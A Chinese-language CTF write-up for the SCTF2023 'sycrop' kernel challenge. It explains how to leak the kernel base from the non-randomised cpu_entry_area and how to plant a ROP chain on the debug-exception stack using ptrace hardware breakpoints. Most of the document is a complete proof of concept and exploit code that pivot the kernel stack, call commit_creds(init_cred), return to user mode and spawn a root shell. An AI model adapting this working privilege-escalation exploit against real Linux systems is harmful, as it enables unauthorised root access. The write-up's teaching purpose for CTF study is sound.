【cpu_entry_area mapping】SCTF2023-sycrop

前言

也算学习到了，这样对 DB_stack 的利用与 pt_regs 很相似。都是利用在用户态切换在内核态时，会保存用户态的上下文信息在内核栈中，所以我们就可以控制部分内核栈中的数据，以此为我们栈迁移做好准备。

程序分析

启动脚本啥的都不用看了，基本都是 smap、smep、kaslr 和 kpti 都开启。然后直接看驱动模块吧。

驱动程序也非常简单，一次任意地址4字节数据泄漏和一次任意地址栈迁移的机会：

 注意最后这里要看汇编代码：

这里直接将 rbx 的值赋给 rsp，然后 ret，而 rbx 直接来自于 rdx，也就是我们传入的第3个参数：

这中间并没有对 rbx 的值再做任何修改，可以自行查看

漏洞利用 

这里漏洞已经白给了，按照题目给了漏洞，我们应当就是先泄漏内核基地址，然后在内核空间布置好 ROP 链，最后直接栈迁移过去。

那么这里就有两个难点了：

1、如何泄漏内核基地址

2、在那里布置 ROP 链 

最后选择的是 cpu_entry_area mapping 内核区域。

测试 poc.c：

// poc.c
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#define DB_OFFSET(idx) ((void*)(&(((struct user*)0)->u_debugreg[idx])))
pid_t pid;
int status;
char buf[4];

void set_hbp(void *addr)
{
    if (ptrace(PTRACE_POKEUSER, pid, DB_OFFSET(0), addr) == -1)
    {
        printf("Failed to set dr_0\n");
        kill(pid, 9);
        exit(-1);
    }
    unsigned long dr_7 = (1<<0)|(1<<8)|(1<<16)|(1<<17)|(1<<18)|(1<<19);
    if (ptrace(PTRACE_POKEUSER, pid, DB_OFFSET(7), dr_7) == -1)
    {
        printf("Failed to set dr_7\n");
        kill(pid, 9);
        exit(-1);
    }
}

int main(int argc, char **argv, char **env)
{
    pid = fork();
    if (!pid)
    {
        cpu_set_t cpu_set;
        CPU_ZERO(&cpu_set);
        CPU_SET(0, &cpu_set);
        sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

        ptrace(PTRACE_TRACEME, 0, NULL, NULL);
        raise(SIGSTOP);
        __asm__(
        "mov r15,   0x11111111;"
        "mov r14,   0x22222222;"
        "mov r13,   0x33333333;"
        "mov r12,   0x44444444;"
        "mov rbp,   0x55555555;"
        "mov rbx,   0x66666666;"
        "mov r11,   0x77777777;"
        "mov r10,   0x88888888;"
        "mov r9,    0x99999999;"
        "mov r8,    0xaaaaaaaa;"
        "mov rax,   0xbbbbbbbb;"
        "mov rcx,   0xcccccccc;"
        "mov rdx,   0xdddddddd;"
        "mov rsi,   0xeeeeeeee;"
        "mov rdi,   0xffffffff;"
        );
        buf[0] = 0;
        exit(1);

    }
    waitpid(pid, &status, 0);
    set_hbp(buf);

    ptrace(PTRACE_CONT, pid, NULL, NULL);
    waitpid(pid, &status, 0);

    ptrace(PTRACE_CONT, pid, NULL, NULL);
    waitpid(pid, &status, 0);

    return 0;
}

在 linux 6.2 之前，该区域不参与随机化，并且在该区域存在内核地址，所以我们可以直接泄漏内核基地址：

并且通过下硬件断点在用户态触发的方式，可以将寄存器内容推送到与per cpu entry area固定偏移的DB stack上，所以我们可以在 DB stack 上布置好我们的 ROP 链，最后直接栈迁移过去即可：

exp如下：

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define DR_OFFSET(idx) ((void*)(&(((struct user*)0)->u_debugreg[idx])))
size_t swapgs_kpti = 0xFFFFFFFF82000F01;
size_t init_cred =  0xffffffff82a4cbf8;
size_t commit_creds = 0xffffffff810bb5b0;
size_t pop_rdi = 0xffffffff81002c9d; // pop rdi ; ret

int fd;
pid_t pid;
int status;
char buf[4];
size_t kernel_offset;

size_t leak(size_t addr) { return ioctl(fd, 0x5555, addr); }
void set_rsp(size_t rsp) { ioctl(fd, 0x6666, rsp); }

void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    sleep(5);
    exit(EXIT_FAILURE);
}

void info(char *msg)
{
    printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value)
{
    printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}

void bind_core(int core)
{
    cpu_set_t cpu_set;
    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

void set_hbp(void *addr)
{
        if (ptrace(PTRACE_POKEUSER, pid, DR_OFFSET(0), addr) == -1)
        {
                printf("Failed to set dr_0\n");
                kill(pid, 9);
                exit(-1);
        }
        unsigned long dr_7 = (1<<0)|(1<<8)|(1<<16)|(1<<17)|(1<<18)|(1<<19);
        if (ptrace(PTRACE_POKEUSER, pid, DR_OFFSET(7), dr_7) == -1)
        {
                printf("Failed to set dr_7\n");
                kill(pid, 9);
                exit(-1);
        }
}


int main(int argc, char **argv, char **env)
{
        fd = open("/dev/seven", O_RDWR);
        if (fd < 0) err_exit("Open dev file");
        kernel_offset = (leak(0xfffffe0000000000+4)&0xffffffff) - 0x82008e00;
        hexx("kernel_offset", kernel_offset);
        swapgs_kpti += kernel_offset;
        init_cred += kernel_offset;
        commit_creds += kernel_offset;
        pop_rdi += kernel_offset;

        pid = fork();
        if (!pid)
        {
                bind_core(0);
                ptrace(PTRACE_TRACEME, 0, NULL, NULL);
                raise(SIGSTOP);
                __asm__ volatile(
                "mov rax, pop_rdi;"
                "mov rcx, init_cred;"
                "mov rdx, commit_creds;"
                "mov rsi, swapgs_kpti;"
                );
                buf[0] = 1;
                set_rsp(0xfffffe0000010fa8);
                hexx("UID", getuid());
                system("/bin/sh");
                exit(0);
        }

        waitpid(pid, &status, 0);
        set_hbp(buf);

        ptrace(PTRACE_CONT, pid, NULL, NULL);
        waitpid(pid, &status, 0);

        ptrace(PTRACE_CONT, pid, NULL, NULL);
        waitpid(pid, &status, 0);
        return 0;
}

最后可以稳定提权：